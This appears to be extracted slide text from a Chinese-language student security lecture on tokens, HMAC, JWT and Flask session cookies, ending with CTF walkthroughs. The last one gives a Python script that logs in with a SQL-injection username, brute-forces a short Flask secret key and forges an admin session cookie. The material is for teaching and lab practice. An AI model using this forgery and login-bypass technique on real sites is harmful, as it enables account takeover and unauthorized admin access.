講師:堇姬
成電二年級/幽夜工作室繪師
DC : naup_sumire_hime
IG : ckcsc36th_naup
涉獵C++、C、python、遊戲(tkinter、pygame)、資安(Web、Crypto)、AI、flask、html/css/js、 PHP、DC bot。
喜歡看輕小說、動畫、Vtuber、打音遊,也喜歡看百合,就是一個長年混跡ACG的宅女。
token是當使用者登入成功後,server端產生並回傳的一組能象徵該使用者的『權杖』。
既然令牌功能是驗證身分,那必然需要在令牌中儲存資訊。
eyJ1c2VybmFtZSI6Ik5hdXBqamluIn0
{"username":"Naupjjin"}
base64
eyJ1c2VybmFtZSI6ImFkbWluIn0
{"username":"admin"}
偽造token超級簡單(X
MAC
MAC
一同交給電商MAC
MAC
相同即代表內容未被串改eyJ1c2VybmFtZSI6ImFkbWluIn0
{"username":"admin"}
hmac(SECRET_KEY , data)
base64
4r_7cqWTL6Zn2QP5C83KV8nPOMA
.
from itsdangerous import base64_encode
import hmac
print(base64_encode(hmac.new(b"Secret",msg=b'{"username":"Naupjjin"}', digestmod=hashlib.sha1).digest()))
我喜歡你
我喜歡你
我喜歡你
我喜歡你
水銀燈的密鑰
水銀燈的公鑰
公開金鑰密碼系統時,無法得知公開金鑰的擁有者身份,收到的公開金鑰裡,並未包含任何可表示製作者的資訊,有可能是偽裝成A的其他人所製作的公開金鑰
憑證機構可以由任何人或任何公司發行
分成三段
{
'typ': 'JWT',
'alg': 'HS256'
}
base64
ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9
包含有關使用者或其他實體的聲明。這些聲明是一些有關實體的資訊,包含使用者的身份資訊、角色、權限或其他相關數據。
JWT 的 Payload 可以包含標準聲明和自訂聲明
(不一定要有)
標準聲明
自訂聲明
開發人員可以根據需要在 JWT 的 Payload 中添加自訂聲明,來攜帶應用程式特定的資訊。
{
"iss": "www.example.com", // 發行者 (Issuer)
"sub": "user123", // 主題 (Subject),使用者的唯一標識符
"aud": "api.example.com", // 預期接收JWT的受眾 (Audience)
"jti": "abc123xyz", // JWT的唯一標識符 (JWT ID),用於防止重放攻擊
"roles": ["user", "admin"], // 自訂聲明,使用者的角色
"is_verified": true // 自訂聲明,表示使用者是否已驗證
}
ewogICJpc3MiOiAid3d3LmV4YW1wbGUuY29tIiwgICAgICAgIAogICJzdWIiOiAidXNlcjEyMyIsICAgICAgICAgICAgICAgCiAgImF1ZCI6ICJhcGkuZXhhbXBsZS5jb20iLCAgICAgICAKICAianRpIjogImFiYzEyM3h5eiIsICAgICAgICAgIAogICJyb2xlcyI6IFsidXNlciIsICJhZG1pbiJdLCAgICAKICAiaXNfdmVyaWZpZWQiOiB0cnVlICAgICAgIAp9
Signature是將被轉換成 Base64 編碼的 Header、Payload 與自己定義的密鑰,透過在 Header 設定的雜湊演算法方式所產生的。
HMACSHA256 ( header.payload, secret)
跟JWT很像但不太一樣
base64(JSON session data) . encoded timestamp . HMAC
時間戳記
各種狀態及資訊
eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ . YbDIxQ . lvkY_D2TEqYp17FdMdgDLOaQNaA
#當然也可以使用其他方式
from itsdangerous import base64_encode
import hashlib, hmac
session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
eyJ1c2VybmFtZSI6Ik5hdXAifQ.MjM0NTY4OQ.CByC7vXELnx-_GhXN-vrMaVv66E
from itsdangerous import base64_encode
import hashlib, hmac
secret_key=b"Naup96321"
session_data = base64_encode(b'{"username":"Naup"}')
session_time = base64_encode(b'2345689')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
print(session)
參考文章:
reload會發現token的第二段、第三段改變了
第一段只有在 Get Flag !
被點擊之後會改變,合理懷疑跟第一段有關
但是flag在哪裡?
掃到他是用flask做的,所以合理懷疑session也是flask做的
base64(JSON session data) . encoded timestamp . HMAC
第一段是由base64編碼
丟進去得到flag
丟個自己寫的VGP(成發) session的樣子
/robots.txt
的路徑進去後發現
嘗試連連看兩條路徑
訪問 /admin
的話會發現跳回主頁
訪問 /admin-dev
可以發現一些跟 /admin
有關的 flask 程式碼
如果session為空,或是不是admin就回到主頁
可以去想想Flask session怎麼產生
from itsdangerous import base64_encode
session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')
pre_session = session_data + b'.' + session_time
# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())
session = pre_session + b'.' + session_hmac
base64(JSON session data) . encoded timestamp . HMAC
我們可以嘗試不同的 app.secret_key
去計算 curious 的 session_hmac
,如果跟原本 session
的 session_hmac
相同的話就代表我們找到 app.secret_key
import requests as req
from itertools import product
from itsdangerous import base64_decode, base64_encode
from tqdm import tqdm
import hashlib, hmac
def gen_session_hmac(pre_session: bytes, secret_key: bytes):
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
return hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest()
session = req.post('http://lotuxctf.com:20002/login', data={'username': "curious' -- ", 'password': '123'},
allow_redirects=False).headers['Set-Cookie'].split(';')[0].split('=')[1].encode().split(b'.')
pre_session = session[0] + b'.' + session[1]
right_hmac = base64_decode(session[2])
for new_key in tqdm(product(range(256), repeat=3)):
new_key = bytes(new_key)
if gen_session_hmac(pre_session, new_key) == right_hmac:
secret_key = new_key
break
new_pre_session = base64_encode('{"username":"admin"}') + b'.' + session[1]
session = new_pre_session + b'.' + base64_encode(gen_session_hmac(new_pre_session, secret_key))
print(session)
接者就用找到的 app.secret_key
去算出一個 session_data
是 base64_encode(b'{"username":"admin"}')
的 session
cookie
,然後把這個 session
cookie
替換掉原本瀏覽器裡面的 session
cookie
,然後去請求 /admin